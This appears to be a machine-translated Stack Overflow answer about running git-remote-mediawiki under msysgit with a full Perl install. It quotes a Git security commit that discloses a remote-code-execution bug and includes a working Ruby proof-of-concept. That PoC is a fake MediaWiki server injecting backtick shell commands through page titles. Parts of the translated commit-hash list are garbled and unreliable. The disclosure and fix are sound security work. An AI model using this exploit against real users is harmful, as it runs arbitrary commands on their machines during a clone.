3

msysgit 提供最小的 perl 库。

我想从 CPAN 下载一些包,所以我需要使用完整的 perl 库。

怎么做?

更具体地说,我想使用git-remote-mediawiki插件。这就是为什么需要完整安装 perl 库的原因。

4

1 回答 1

1

首先检查(如本文中),如果修改PERL5LIB环境变量以引用该脚本就足够了(修改git-cmd.bat):

set PERL5LIB = c:\path\to\git\contrib

否则,对于外部contrib perl 脚本,例如git-remote-mediawiki,您可以尝试从 DOS 会话执行它,并安装任何最近的 Perl 发行版。
(如草莓 Perl,正如 mob 在评论中推荐的那样)。

我建议使用git-cmd.bat(正确设置 gitPATHHOME),首先添加您自己的 perl:

@set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%git_install_root%\cmd;%PATH%
# let's add our perl:
@set PATH=path/to/yourPerl;%PATH%

这独立于 msysgit 安装,它依赖于旧的 perl,原因在FAQ中有解释。

原因是我们需要一个 Perl 的 MSys 版本,因为我们没有设法编译 Subversion 模块(这些模块是用 C 编写的,使用普通 Windows 不提供的 POSIX 功能,因此需要 MSys)。


这似乎足以启动脚本,但OP linquize评论中添加:

我最终编写了一个包装程序git-remote-mediawiki.exe来调用外部perl并且需要在写入 git 之前转换CRLF为,否则如果收到 git 则会挂起。LFstdoutCRLF


注意:git-remote-mediawiki使用 Git 2.29(2020 年第四季度)更加强大,并对 MediaWiki 远程后端进行了一些现代化和修复。

参见提交9A86064提交878D150提交4842A11提交2D6B08A提交F8AB018提交1D42B4D提交2388541,提交4F80BC9 ,COMMIT DDE666EB ,提交9FF2958 ,提交730ECC1commit 730ECC1commit 09909.90909.9090850,,并提交 872977b提交 442f5aa(2020 年 9 月 16 日),作者: Ævar Arnfjörð Bjarmason ( )。 看avar
Simon Legner ( )simon04提交 96653ce(2020 年 9 月 21 日
(由Junio C Hamano 合并 -- gitster--提交 5a25615中,2020 年 10 月 4 日)

例如:

remote-mediawiki: 转换为引用的run_git()调用

报告人:Joern Schneeweisz
签字人:Ævar Arnfjörð Bjarmason

更改那些能够run_safe()使用带引号的参数列表调用的调用站点。

这修复了Joern Schneeweisz 向 git-security 邮件列表报告的传输助手中的RCE(远程代码执行)错误。
由于 remote-mediawiki 代码的相对晦涩难懂,该问题正在公开。

安全问题是我们将通过 Perl 的 " open -|" 执行这样的命令,其中$name直接从api.php响应中获取。因此,例如 JSON 响应:

[...]"title":"`id>/tmp/mw`:Main Page"[..]  

将导致调用:

git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"  

从这样的代码中,这个补丁正在改变:

run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));  

所以我们会执行一个任意命令,并将“ remote.origin.namespaceCache=:notANameSpace”放在配置中。
有了这个更改,我们引用了所有这些,所以现在我们只需将“ remote.origin.namespaceCache=``id>/tmp/x``:notANameSpace”写入配置,而不执行任何远程命令。

关于实现:如“将文件句柄打开到命令中”(另见“安全管道打开”)中所述,这种调用open()方式在 Windows 上直到 Perl 5.22 都存在兼容性问题。
然而,Johannes Schindelin 指出,在这种情况下我们不应该担心 Windows,因为(引用他的私人电子邮件):

  1. mediawiki 助手从未作为官方 Git for Windows 版本的一部分发布。它也从未成为官方 MSYS2 软件包的一部分。这意味着想要使用 mediawiki 帮助程序的 Windows 用户必须自己构建 Git,而似乎没有多少用户这样做。

  2. 与 Perl v5.22.x 一起发布的最后一个 Git for Windows 版本是 Git for Windows v2.11.1;自 Git for Windows v2.12.0(2017 年 2 月 25 日发布)以来,仅包含更新的 Perl 版本。

所以让我们使用这个open()API。
到处搜索表明我们发布的各种其他 Perl 代码,例如 gitweb 等。使用这种调用方式open(),所以我们不应该有任何兼容性问题。

为了进一步的参考和未来的测试,这里是 Joern 提供的有效利用代码:

#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team  

require 'sinatra'
set bind: '0.0.0.0'  

if not ARGV[0]  

puts "Please provide the shell command to be execucted."
exit -1  

end  

cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)  

post '/api.php' do  

if params[:list] == 'allpages'
  return all_pages
end  

if params[:prop] == 'revisions'
  return revs
end  

return mainpage
end  

哪一个:

[...]应该像这样运行:ruby wiki.rb 'id>/tmp/mw'.
现在,当被克隆时,将在克隆过程中创建git clone mediawiki::http://localhost:4567文件/tmp/mw,其中包含id.

于 2013-04-06T10:08:48.220 回答